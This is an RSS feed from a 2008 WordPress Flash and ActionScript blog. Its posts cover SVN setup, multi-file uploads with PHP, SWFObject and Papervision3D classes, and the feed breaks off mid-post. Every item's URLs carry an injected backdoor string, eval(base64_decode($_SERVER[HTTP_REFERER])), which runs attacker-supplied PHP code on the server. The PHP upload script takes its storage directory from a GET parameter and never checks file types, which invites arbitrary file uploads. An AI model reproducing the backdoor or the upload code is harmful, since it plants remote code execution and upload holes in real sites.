<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>Reyco1's Flash Blog</title>
	<atom:link href="http://www.reynaldocolumna.com/blog/feed" rel="self" type="application/rss+xml" />
	<link>http://www.reynaldocolumna.com/blog</link>
	<description>Just another flash blog... Or is it?</description>
	<pubDate>Wed, 03 Sep 2008 22:59:14 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6</generator>
	<language>en</language>
			<item>
		<title>Article published at TheTechLabs</title>
		<link>http://www.reynaldocolumna.com/blog/2008/09/03/article-published-at-thetechlabs/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.reynaldocolumna.com/blog/2008/09/03/article-published-at-thetechlabs/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Wed, 03 Sep 2008 22:59:14 +0000</pubDate>
		<dc:creator>Reynaldo</dc:creator>
		
		<category><![CDATA[Flash]]></category>

		<guid isPermaLink="false">http://www.reynaldocolumna.com/blog/?p=100</guid>
		<description><![CDATA[Hi all:
I just got an article (first of a series) published at The Tech Labs. It basically takes you through the steps of creating and structuring classes while taking you through the basics in creating your own Web Services package with a simple Twitter API!
Have a read and lemme know what you think. Cheers!
]]></description>
			<content:encoded><![CDATA[<p>Hi all:</p>
<p>I just got an article (first of a series) published at <a title="Web Service Article" href="http://www.thetechlabs.com/flash/creating-a-as3-web-service-package-base-ser" target="_blank">The Tech Labs.</a> It basically takes you through the steps of creating and structuring classes while taking you through the basics in creating your own Web Services package with a simple Twitter API!</p>
<p>Have a read and lemme know what you think. Cheers!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.reynaldocolumna.com/blog/2008/09/03/article-published-at-thetechlabs/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Cannes Lions Shortlist</title>
		<link>http://www.reynaldocolumna.com/blog/2008/08/17/cannes-lions-shortlist/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.reynaldocolumna.com/blog/2008/08/17/cannes-lions-shortlist/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 18 Aug 2008 00:53:18 +0000</pubDate>
		<dc:creator>Reynaldo</dc:creator>
		
		<category><![CDATA[Flash]]></category>

		<guid isPermaLink="false">http://www.reynaldocolumna.com/blog/?p=92</guid>
		<description><![CDATA[Being eye-deep in a Papervision3D project for the last 2 months and with the arrival of our new born baby Ryan, I was totally oblivious to the fact that one of the projects I worked on earlier this year was on the Cannes Lions Titanium Shortlist! The project was dubbed &#8220;The Other You&#8221; and it [...]]]></description>
			<content:encoded><![CDATA[<p>Being eye-deep in a Papervision3D project for the last 2 months and with the arrival of our new born baby Ryan, I was totally oblivious to the fact that one of the projects I worked on earlier this year was on the Cannes Lions Titanium Shortlist! The project was dubbed &#8220;The Other You&#8221; and it was for Toyota Matrix. We basically included all types of web 2.0 technologies from extreme video production to papervision to social networks.</p>
<p>The whole project consisted on playing a nasty prank on a friend while you sit back and enjoy the show, very DOPE!</p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="400" height="400" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="src" value="http://current.com/e/88972773/en_US" /><param name="wmode" value="transparent" /><embed type="application/x-shockwave-flash" width="400" height="400" src="http://current.com/e/88972773/en_US" wmode="transparent"></embed></object></p>
<p>http://www.yourotheryou.com/</p>
]]></content:encoded>
			<wfw:commentRss>http://www.reynaldocolumna.com/blog/2008/08/17/cannes-lions-shortlist/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Setting up SVN on your MediaTemple Server (gs) and Accessing it with TortoiseSVN</title>
		<link>http://www.reynaldocolumna.com/blog/2008/08/17/setting-up-svn-on-your-mediatemple-server-gs-and-accessing-it-with-tortoisesvn/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.reynaldocolumna.com/blog/2008/08/17/setting-up-svn-on-your-mediatemple-server-gs-and-accessing-it-with-tortoisesvn/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 17 Aug 2008 23:59:55 +0000</pubDate>
		<dc:creator>Reynaldo</dc:creator>
		
		<category><![CDATA[Flash]]></category>

		<guid isPermaLink="false">http://www.reynaldocolumna.com/blog/?p=90</guid>
		<description><![CDATA[Hello fellow developers and architects!
Let me start off by saying that if you are going to use svn on your MT grid server the last place you want to go for installation instructions is the MediaTemple Knowledge Base. I can grantee you that will be cause of major hair loss on your part. Not only [...]]]></description>
			<content:encoded><![CDATA[<p>Hello fellow developers and architects!</p>
<p>Let me start off by saying that if you are going to use svn on your MT grid server the last place you want to go for installation instructions is the MediaTemple Knowledge Base. I can grantee you that will be cause of major hair loss on your part. Not only are the instructions vague and confusing, they&#8217;re just darn annoying.</p>
<p>I have absolutely no experience dealing with Linux servers or anything Linux for that matter but I was able to set up my svn repo with the help of <a title="Robert Murray" href="http://www.8rivers.com" target="_blank">a good friend</a>. I figured I&#8217;d lay it out here for the world to see and not have to go through what I went through for the good part of my weekend. Enough venting, on to the good stuff!</p>
<p>First of all, the kb article over at MT is not completely messed up. You can actually go through steps 1-3 and still be in calm waters, but before you do that, there are a few things that I want to go over with you. First off, you need your <strong>server id</strong>; this usually starts with a letter followed by 5 numbers. You can find it in your &#8220;<strong>Service Activation Letter</strong>&#8221; email sent to you by MT when you first set hp your account under the <strong>FTP Login Information</strong>. You&#8217;re going to need the username and password too to log in to your server.</p>
<p>Also, in step 3 where it indicates &lt;repo_name&gt;, you have to replace that with the name of the repository on your server. This is not the name of your actual project. Let&#8217;s assume that you&#8217;ll name it <strong>myRepo</strong>.</p>
<p><a title="MT SVN Article" href="http://kb.mediatemple.net/questions/143/(gs)+HOWTO:+Set+up+a+Subversion+repository" target="_self">Here&#8217;s the kb article</a>, follow steps 1-3 and then come back<strong></strong>.</p>
<p>Waiting&#8230;</p>
<p>&#8230;</p>
<p>Welcome back! At this point you should have successfully set up your svn repository on your MT grid server but we still need to add a folder for your project. Step 4 on the MT article tells you how to do that, but I found it a little confusing. So here&#8217;s a clearer explanation:</p>
<p>OK, so to create a folder (and sub folders) for your project we use the &#8220;mkdir&#8221; command. Let&#8217;s assume that our project name is <strong>myProject </strong>type in:</p>
<p><strong>mkdir myProject</strong><br />
<strong>mkdir myProject/trunk</strong><br />
<strong>mkdir myProject/branches</strong><br />
<strong>mkdir myProject/tags</strong></p>
<p>Now its time to import the newly created folders into the repository, remember that above we assumed that the name of our svn repository was <strong>myRepo</strong>. You&#8217;re also going to need that server id we mentioned above and replace the hashes with it. Type in:</p>
<p><strong>svn import myProject file:///home/#####/data/myRepo &#8211;message &#8220;Creating initial repo.&#8221;</strong></p>
<p>After pressing executing that last line you should be all set!</p>
<p>To access your newly created svn repo, just create a folder on your desktop (i.e.), right-click and choose &#8220;SVN Checkout&#8221;.</p>
<p>This is what you should put in your &#8220;URL of Repository&#8221; field; remember to change the hashes to your verver id and replace &#8220;yourdomain&#8221; with your actual domain name:</p>
<p><strong>svn+ssh://serveradmin@yourdomain.com@yourdomain.com/home/#####/data/myRepo</strong></p>
<p>That&#8217;s all folks! TortoiseSVN will 99.9% of the time ask you for your password. This is gonna be the same password you used on putty.</p>
<p>Hope this was useful!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.reynaldocolumna.com/blog/2008/08/17/setting-up-svn-on-your-mediatemple-server-gs-and-accessing-it-with-tortoisesvn/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Uploading Multiple Files : CS3 + PHP</title>
		<link>http://www.reynaldocolumna.com/blog/2008/08/14/uploading-multiple-files-cs3-php/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.reynaldocolumna.com/blog/2008/08/14/uploading-multiple-files-cs3-php/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 15 Aug 2008 03:27:52 +0000</pubDate>
		<dc:creator>Reynaldo</dc:creator>
		
		<category><![CDATA[Flash]]></category>

		<guid isPermaLink="false">http://www.reynaldocolumna.com/blog/?p=75</guid>
		<description><![CDATA[For about a week now I have been trying to upload multiple files to my server using flash and PHP. It I used the FileReference class to select the file from my system and once selected used the &#8220;upload&#8221; method to upload it and it worked like a charm! But selecting and uploading one file [...]]]></description>
			<content:encoded><![CDATA[<p>For about a week now I have been trying to upload multiple files to my server using flash and PHP. It I used the FileReference class to select the file from my system and once selected used the &#8220;upload&#8221; method to upload it and it worked like a charm! But selecting and uploading one file at a time can become pretty very annoying and tedious so I figured that using FileRegerenceList, I would be able to choose multiple files and have those upload simultaneously.</p>
<p><em>NOTE</em> : THE FOLLOWING CODE DID NOT WORK AND I&#8217;LL EXPLAIN WHY</p>
<p>[source language="Ruby"]<br />
var fileRefList:FileReferenceList = new FileReferenceList();<br />
fileRefList.addEventListener(Event.SELECT, selectHandler);<br />
fileRefList.browse();<br />
function selectHandler(event:Event):void {<br />
var request:URLRequest = new URLRequest(&#8221;http://[mydomain].com/upload.php&#8221;);<br />
var files:FileReferenceList = FileReferenceList(event.target);<br />
var selectedFileArray:Array = files.fileList;<br />
for (var i:uint = 0; i < selectedFileArray.length; i++) {<br />
var file:FileReference;<br />
file = FileReference(selectedFileArray[i]);<br />
file.addEventListener(Event.COMPLETE, completeHandler);<br />
file.addEventListener(ProgressEvent.PROGRESS, progressHandler);<br />
file.addEventListener(IOErrorEvent.IO_ERROR, ioErrorHandler);<br />
try {<br />
file.upload(request);<br />
} catch (error:Error) {<br />
trace("Unable to upload files.");<br />
}<br />
}<br />
}<br />
function completeHandler(event:Event):void {<br />
var file:FileReference = FileReference(event.target);<br />
trace(file.name+" uploaded.");<br />
}<br />
function progressHandler(event:ProgressEvent):void {<br />
var file:FileReference = FileReference(event.target);<br />
trace("progressHandler: name = " + file.name + " bytesLoaded = " + event.bytesLoaded + " bytesTotal = " + event.bytesTotal);<br />
}<br />
function ioErrorHandler(event:IOErrorEvent):void {<br />
trace("ioErrorHandler: " + event);<br />
}[/source]</p>
<p>What I was doing in the code above was using FileReferenceList to select all the files that I wanted to upload to my server, that was fine. That fires an Event.SELECT event; in the handler for that event, I created a URLRequest passing it the url to where my server side upload script is located. The FileReferenceList basically is an Array of FileReference objects, hence I figured I could loop through it, addlisteners to each of the FileReference objects, run the upload method and that's it? NOPE! Didn't work! Even though all my traces were indicating that all my files were being uploaded succesfully, when I went to check my server, there were no files there.</p>
<p>It turns out that flash really CANNOT UPLOAD MORE THAN ONE FILE AT A TIME.</p>
<p>Basically... "Listeners receive events to indicate the progress, success, or failure of the <span class="highlight">upload. Although you can use the FileReferenceList object to let users select multiple files for <span class="highlight">upload</span>, you must <span class="highlight">upload</span> the files one by one; to do so, iterate through the FileReferenceList.fileList array of FileReference objects.</p>
<p>The FileReference.upload() and FileReference.download() functions are nonblocking. These functions return after they are called, before the file transmission is complete. In addition, if the FileReference object goes out of scope, any <span class="highlight">upload</span> or download that is not yet completed on that object is canceled upon leaving the scope. Be sure that your FileReference object remains in scope for as long as the <span class="highlight">upload</span> or download is expected to continue.&#8221;</p>
<p>In other words, what i needed to do was not a run a loop, but actually create a function that will upload a single file and on the handler for the complete event for that function, load the next file in queue. Worry not if that sounds a little confusing <img src='http://www.reynaldocolumna.com/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> here&#8217;s the new and improved working code:</p>
<p>[source language="Ruby"]<br />
var uploadQueue:Number = 0;<br />
var selectedFileArray:Array = [];<br />
var fileRefList:FileReferenceList = new FileReferenceList();<br />
fileRefList.addEventListener(Event.SELECT, selectHandler);<br />
fileRefList.browse();</p>
<p>function selectHandler(event:Event):void<br />
{<br />
var files:FileReferenceList = FileReferenceList(event.target);<br />
selectedFileArray = files.fileList;<br />
loadQueue(uploadQueue);<br />
}<br />
function loadQueue($index:Number):void<br />
{<br />
if($index < selectedFileArray.length){<br />
var request:URLRequest = new URLRequest(&#8221;http://www.[mydomain].com/upload.php&#8221;);<br />
var file:FileReference = FileReference(selectedFileArray[$index]);<br />
file.addEventListener(Event.COMPLETE, completeHandler);<br />
file.addEventListener(ProgressEvent.PROGRESS, progressHandler);<br />
file.addEventListener(IOErrorEvent.IO_ERROR, ioErrorHandler);<br />
try<br />
{<br />
file.upload(request);<br />
}<br />
catch (error:Error)<br />
{<br />
trace(&#8221;Unable to upload files.&#8221;);<br />
}<br />
}else{<br />
trace(&#8221;All files uploaded.&#8221;);<br />
}<br />
}<br />
function completeHandler(event:Event):void<br />
{<br />
var file:FileReference = FileReference(event.target);<br />
file.removeEventListener(Event.COMPLETE, completeHandler);<br />
file.removeEventListener(ProgressEvent.PROGRESS, progressHandler);<br />
file.removeEventListener(IOErrorEvent.IO_ERROR, ioErrorHandler);<br />
trace(file.name+&#8221; uploaded.&#8221;);<br />
uploadQueue++<br />
loadQueue(uploadQueue);<br />
}<br />
function progressHandler(event:ProgressEvent):void {<br />
var file:FileReference = FileReference(event.target);<br />
trace(&#8221;progressHandler: name = &#8221; + file.name + &#8221; bytesLoaded = &#8221; + event.bytesLoaded + &#8221; bytesTotal = &#8221; + event.bytesTotal);<br />
}<br />
function ioErrorHandler(event:IOErrorEvent):void {<br />
trace(&#8221;ioErrorHandler: &#8221; + event);<br />
}[/source]</p>
<p>And here&#8217;s the php code that i&#8217;m using server side:</p>
<p>[source language="Ruby"]<br />
//path to storage<br />
$storage = &#8216;images&#8217;;</p>
<p>//allow path to be changed dynamically<br />
if($_GET['uploadDir'] != &#8220;&#8221;) {<br />
$storage = $_GET['uploadDir'];<br />
}</p>
<p>//path name of file for storage<br />
$uploadfile = &#8220;$storage/&#8221; . $_FILES['Filedata']['name'];</p>
<p>//if the file is moved successfully<br />
if ( move_uploaded_file( $_FILES['Filedata']['tmp_name'] , $uploadfile ) ) {<br />
echo( &#8216;1 &#8216; . $_FILES['Filedata']['name']);<br />
header(&#8221;Location: http://www.google.com&#8221;);<br />
//file failed to move<br />
}else{<br />
echo( &#8216;0&#8242;);<br />
}[/source]</p>
<p>ENJOY!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.reynaldocolumna.com/blog/2008/08/14/uploading-multiple-files-cs3-php/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>SWF embedding problem with SWFObject 2.0</title>
		<link>http://www.reynaldocolumna.com/blog/2008/05/26/swf-embedding-problem-with-swfobject-20/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.reynaldocolumna.com/blog/2008/05/26/swf-embedding-problem-with-swfobject-20/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 26 May 2008 22:42:36 +0000</pubDate>
		<dc:creator>Reynaldo</dc:creator>
		
		<category><![CDATA[Flash]]></category>

		<category><![CDATA[as3]]></category>

		<category><![CDATA[embed]]></category>

		<category><![CDATA[swfobject]]></category>

		<guid isPermaLink="false">http://www.reynaldocolumna.com/blog/?p=74</guid>
		<description><![CDATA[For the last week or so I have been having loads of issues trying to embed a swf onto an HTML page with SWFObject 2.0. It works wonders when its just a regular swf being embedded, but when the embedded swf tried loading another swf, nothing.
Now check this out, wanted to install FlashTracer so I [...]]]></description>
			<content:encoded><![CDATA[<p>For the last week or so I have been having loads of issues trying to embed a swf onto an HTML page with <a href="http://code.google.com/p/swfobject/">SWFObject 2.0</a>. It works wonders when its just a regular swf being embedded, but when the embedded swf tried loading another swf, nothing.</p>
<p>Now check this out, wanted to install <a href="https://addons.mozilla.org/en-US/firefox/addon/3469">FlashTracer</a> so I did and I read that in order for it to work properly, I HAD to install the debug version of the <a href="http://download.macromedia.com/pub/flashplayer/updaters/9/flashplayer_9_plugin_debug.exe">Flash Player</a>. As soon as I ran the application on the new player, I immediately got an error message:</p>
<p><em><strong>SecurityError: Error #2060: Security sandbox violation: ExternalInterface caller file:///C:/site.swf cannot access file:///C:/index.html.</strong></em></p>
<p>After endless hair pulling and much reading and research I found the solution to the problem. All I had to do was add the following line to my embed code on html:</p>
<p><strong><em>so.addParam(&#8221;allowScriptAccess&#8221;,&#8221;always&#8221;);</em></strong></p>
<p>That did the job!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.reynaldocolumna.com/blog/2008/05/26/swf-embedding-problem-with-swfobject-20/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Blog facelift</title>
		<link>http://www.reynaldocolumna.com/blog/2008/05/26/blog-facelift/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.reynaldocolumna.com/blog/2008/05/26/blog-facelift/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 26 May 2008 16:59:10 +0000</pubDate>
		<dc:creator>Reynaldo</dc:creator>
		
		<category><![CDATA[Flash]]></category>

		<guid isPermaLink="false">http://www.reynaldocolumna.com/blog/?p=73</guid>
		<description><![CDATA[Hi All:
Decided to give the blog a new look considering I saw the same template a few times in one day on other blogs  
After a few hours of searching, I finally decided on this one. I hope its not too crappy! 
]]></description>
			<content:encoded><![CDATA[<p>Hi All:</p>
<p>Decided to give the blog a new look considering I saw the same template a few times in one day on other blogs <img src='http://www.reynaldocolumna.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>After a few hours of searching, I finally decided on this one. I hope its not too crappy! <img src='http://www.reynaldocolumna.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /></p>
]]></content:encoded>
			<wfw:commentRss>http://www.reynaldocolumna.com/blog/2008/05/26/blog-facelift/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Box3D Class for Papervision3D</title>
		<link>http://www.reynaldocolumna.com/blog/2008/05/20/box3d-class-for-papervision3d/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.reynaldocolumna.com/blog/2008/05/20/box3d-class-for-papervision3d/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 20 May 2008 15:32:29 +0000</pubDate>
		<dc:creator>Reynaldo</dc:creator>
		
		<category><![CDATA[Classes]]></category>

		<guid isPermaLink="false">http://www.reynaldocolumna.com/blog/archives/box3d-class-for-papervision3d</guid>
		<description><![CDATA[Hi All!
Today I found myself with the need to create a cube, but in my case, I wanted to have all the sides of the cube treated as if they were planes. Also, I wanted to have more control over the inner workings of my cube hence the birth of the Box3D class.
All this class [...]]]></description>
			<content:encoded><![CDATA[<p>Hi All!</p>
<p>Today I found myself with the need to create a cube, but in my case, I wanted to have all the sides of the cube treated as if they were planes. Also, I wanted to have more control over the inner workings of my cube hence the birth of the Box3D class.<br />
All this class does is create a cube out of 6 planes primitives. It works very much like the EnhancedPlane class mentioned in <a href="http://www.reynaldocolumna.com/blog/archives/enhancedplane-interactivity-simplified">an earlier post </a>.</p>
<p>This is the result:<br />

<object type="application/x-shockwave-flash" width="550" height="400">
<param name="movie" value="http://www.reynaldocolumna.com/blog/stuff/Box3D_test.swf" />
<embed src="http://www.reynaldocolumna.com/blog/stuff/Box3D_test.swf" type="application/x-shockwave-flash" width="550" height="400" >
</object>
</p>
<p><a href="http://www.reynaldocolumna.com/blog/stuff/Box3DExample.zip">You can get the source and example files here!</a></p>
<p>   <!-- technorati tags begin -->
<p style="font-size:10px;text-align:right;">Tags: <a href="http://technorati.com/tag/papervision" rel="tag">papervision</a>, <a href="http://technorati.com/tag/actionscript" rel="tag">actionscript</a>, <a href="http://technorati.com/tag/%20papervision3d" rel="tag"> papervision3d</a>, <a href="http://technorati.com/tag/%20pv3d" rel="tag"> pv3d</a>, <a href="http://technorati.com/tag/%20cube" rel="tag"> cube</a>, <a href="http://technorati.com/tag/%20box3d" rel="tag"> box3d</a>, <a href="http://technorati.com/tag/%20box" rel="tag"> box</a></p>
<p><!-- technorati tags end --></p>
]]></content:encoded>
			<wfw:commentRss>http://www.reynaldocolumna.com/blog/2008/05/20/box3d-class-for-papervision3d/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>EnhancedPlane: interactivity simplified</title>
		<link>http://www.reynaldocolumna.com/blog/2008/05/18/enhancedplane-interactivity-simplified/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.reynaldocolumna.com/blog/2008/05/18/enhancedplane-interactivity-simplified/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Mon, 19 May 2008 02:08:42 +0000</pubDate>
		<dc:creator>Reynaldo</dc:creator>
		
		<category><![CDATA[Flash]]></category>

		<guid isPermaLink="false">http://www.reynaldocolumna.com/blog/?p=71</guid>
		<description><![CDATA[Hi all:
I&#8217;ve received a few requests in order to make interactivity on the EnhancedPlane class a bit more simple and straight forward, [EDIT: link updated] so here it is  . In order to get it working, you would have to import the InteractiveScene3DEvent event class:
import org.papervision3d.events.InteractiveScene3DEvent;
Now, set up your EnhancedPlane as so
[source language='Ruby']
var frontMaterial:MovieAssetMaterial [...]]]></description>
			<content:encoded><![CDATA[<p>Hi all:</p>
<p>I&#8217;ve received a few requests in order to make interactivity on the EnhancedPlane class a bit more simple and straight forward, [<strong>EDIT</strong>: link updated] <a href="http://www.reynaldocolumna.com/blog/stuff/EnhancedPlaneExample.zip">so here it is <img src='http://www.reynaldocolumna.com/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </a>. In order to get it working, you would have to import the InteractiveScene3DEvent event class:</p>
<pre class="c-sharp">import org.papervision3d.events.InteractiveScene3DEvent;</pre>
<p>Now, set up your EnhancedPlane as so</p>
<p>[source language='Ruby']<br />
var frontMaterial:MovieAssetMaterial = new MovieAssetMaterial(&#8221;front&#8221;, true);<br />
var backMaterial:MovieAssetMaterial = new MovieAssetMaterial(&#8221;back&#8221;, true);</p>
<p>var materials:MaterialsList = new MaterialsList({<br />
ront: frontMaterial,<br />
back: backMaterial<br />
});</p>
<p>doublePlane = new EnhancedPlane(materials, 250, 250, 16);<br />
doublePlane.interactive = true;<br />
doublePlane.addEventListener(InteractiveScene3DEvent.OBJECT_CLICK, rotatePlane);</p>
<p>view.scene.addChild(doublePlane);<br />
[/source]</p>
<p>As you can see, the EnhancedPlane class now has an <strong>interactive </strong>property which accepts a Boolean value, then simply listen to an InteractiveScene3DEvent and your set!</p>
<p>[<strong>EDIT</strong>] To access each side of the plane individually, all you have to do is</p>
<p>[source language='Ruby']</p>
<p>doublePlane.front</p>
<p>[/source]</p>
<p>[source language='Ruby']</p>
<p>doublePlane.back</p>
<p>[/source]</p>
]]></content:encoded>
			<wfw:commentRss>http://www.reynaldocolumna.com/blog/2008/05/18/enhancedplane-interactivity-simplified/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>EnhacedPlane and PlaneGrid PV3D classes</title>
		<link>http://www.reynaldocolumna.com/blog/2008/05/04/enhacedplane-and-planegrid-pv3d-classes/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.reynaldocolumna.com/blog/2008/05/04/enhacedplane-and-planegrid-pv3d-classes/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sun, 04 May 2008 15:51:16 +0000</pubDate>
		<dc:creator>Reynaldo</dc:creator>
		
		<category><![CDATA[Classes]]></category>

		<category><![CDATA[as3]]></category>

		<category><![CDATA[Flash]]></category>

		<category><![CDATA[papervision]]></category>

		<category><![CDATA[papervision3d]]></category>

		<guid isPermaLink="false">http://www.reynaldocolumna.com/blog/archives/enhacedplane-and-planegrid-pv3d-classes</guid>
		<description><![CDATA[Hi!
It&#8217;s been a really long time since I posted anything and there are a ton of reasons for that including moving to New York, getting a new job and finding a new place. But you can trust that I will be posting on a more regular basis from now on  
I decided to come [...]]]></description>
			<content:encoded><![CDATA[<p>Hi!</p>
<p>It&#8217;s been a really long time since I posted anything and there are a ton of reasons for that including moving to New York, getting a new job and finding a new place. But you can trust that I will be posting on a more regular basis from now on <img src='http://www.reynaldocolumna.com/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>I decided to come back with a couple of classes I cerated for use with the Great White branch of <a href="http://www.papervision3d.org">PaperVision3D.</a></p>
<p><strong>EnhancedPlane</strong><br />
This class allows you to create a Plane primitive with two dynamic faces to which you can add different materials. In other words, it&#8217;ll have two unique sides!</p>
<p>Use:</p>
<pre name="code" class="c-sharp">
var frontMaterial:ColorMaterial = new ColorMaterial(0x00FFFF);
var backMaterial:ColorMaterial = new ColorMaterial(0xFFFF00);

var materials:MaterialsList = new MaterialsList({front:frontMaterial,	back:backMaterial});

var myEnhancedPlane:EnhancedPlane = new EnhancedPlane(materials, 250, 250, 16);
this.scene.addChild(myEnhancedPlane);</pre>
<p>The first argument the class accepts is a MaterialList with the &#8220;front&#8221; and &#8220;back&#8221; materials specified. After that, the class accepts 4 optional arguments: width, height, segments and name.</p>
<p><strong>PlaneGrid </strong><br />
This class allows you to create a grid of (same width, same height) planes real easily!</p>
<p>Use:</p>
<pre name="code" class="c-sharp">
var planesArray:Array = new Array();
for(var a:Number = 0; a&lt;18; a++){
     var material:ColorMaterial = new ColorMaterial(0x00FFFF);
     var plane:Plane = new Plane(material, 320, 480);
     planesArray.push(plane);
}
var planeGrid:PlaneGrid = new PlaneGrid(planesArray, 6, 3, 5, 320, 480, "left");
this.scene.addChild(planeGrid);</pre>
<p>The first argument is an array holding the planes you would like to be in the grid, the rest of the parameters are columns, rows, spacing, plane width, plane height, and alignment respectfully. The alignment can either be: &#8220;left&#8221;, &#8220;right&#8221; or &#8220;center&#8221;.</p>
<p>Both of the classes extend the <strong>DisplayObject3D </strong> so you can treat them like any other 3D display object/primitive.</p>
<p><a href="http://www.reynaldocolumna.com/blog/stuff/new_pv3d_classes.zip">You can get the classes here</a></p>
<p><strong>[EDIT] </strong></p>
<p>Thanks to my good friend <a href="http://evolve.reintroducing.com/">Matt</a>, I fixed a small error in the the EnhancedPlane class. Thanks dude! I also uploaded an example on how to set up your EnhancedPlane to have interactivity on both sides. You can find the example <a href="http://www.reynaldocolumna.com/blog/stuff/EnhancedPlaneExample.zip">here</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.reynaldocolumna.com/blog/2008/05/04/enhacedplane-and-planegrid-pv3d-classes/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Event Control System</title>
		<link>http://www.reynaldocolumna.com/blog/2008/02/26/event-control-system/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.reynaldocolumna.com/blog/2008/02/26/event-control-system/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 26 Feb 2008 07:19:18 +0000</pubDate>
		<dc:creator>Reynaldo</dc:creator>
		
		<category><![CDATA[Flash]]></category>

		<guid isPermaLink="false">http://www.reynaldocolumna.com/blog/archives/event-control-system</guid>
		<description><![CDATA[When working on large scale projects or even small projects, I try to be as organized as possible. That&#8217;s why I love to use patterns such as the Command pattern or the Model View Controller pattern, organization. Every class has their job to do. Some classes have no idea whats going on outside of them [...]]]></description>
			<content:encoded><![CDATA[<p>When working on large scale projects or even small projects, I try to be as organized as possible. That&#8217;s why I love to use patterns such as the Command pattern or the Model View Controller pattern, organization. Every class has their job to do. Some classes have no idea whats going on outside of them and do only as they&#8217;re told while other classes take the role of a &#8220;Command Center of Operations&#8221; listening to events and delegating tasks to sub classes or&#8221;minion&#8221; classes.</p>
<p>One thing that I strive to always keep on point is communication between classes via events. It&#8217;s really not any fun when you have a rogue event being fired from somewhere; it then being handled and you have no idea who&#8217;s doing what <img src='http://www.reynaldocolumna.com/blog/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> that&#8217;s where an &#8220;Event Control System&#8221; comes in really handy!</p>
<p>An Event Control System is composed basically of a pair of classes which handle all the global, project specific firing of and listening of events.</p>
<p>The first class I tend to call &#8220;EventCentral.as&#8221;. The EventCentral is a Singleton class which extends flash.events.EventDispatcher and is used across the project classes  to dispatch and listen to project events. The project events are basically all public static constants in the second class called &#8220;ProjectEvent.as&#8221;. The ProjectEvent extends flash.events.Events.</p>
<p>The good thing about extending the Events class, or any class for that matter, is that you can add additional functionality. In the case of the ProjectEvent class, we add a &#8220;params&#8221; object which the custom event which is fired can carry or piggyback. Any event handler can then pull this &#8220;params&#8221; object from the event being listened to. This is an example as to how the classes would be used:</p>
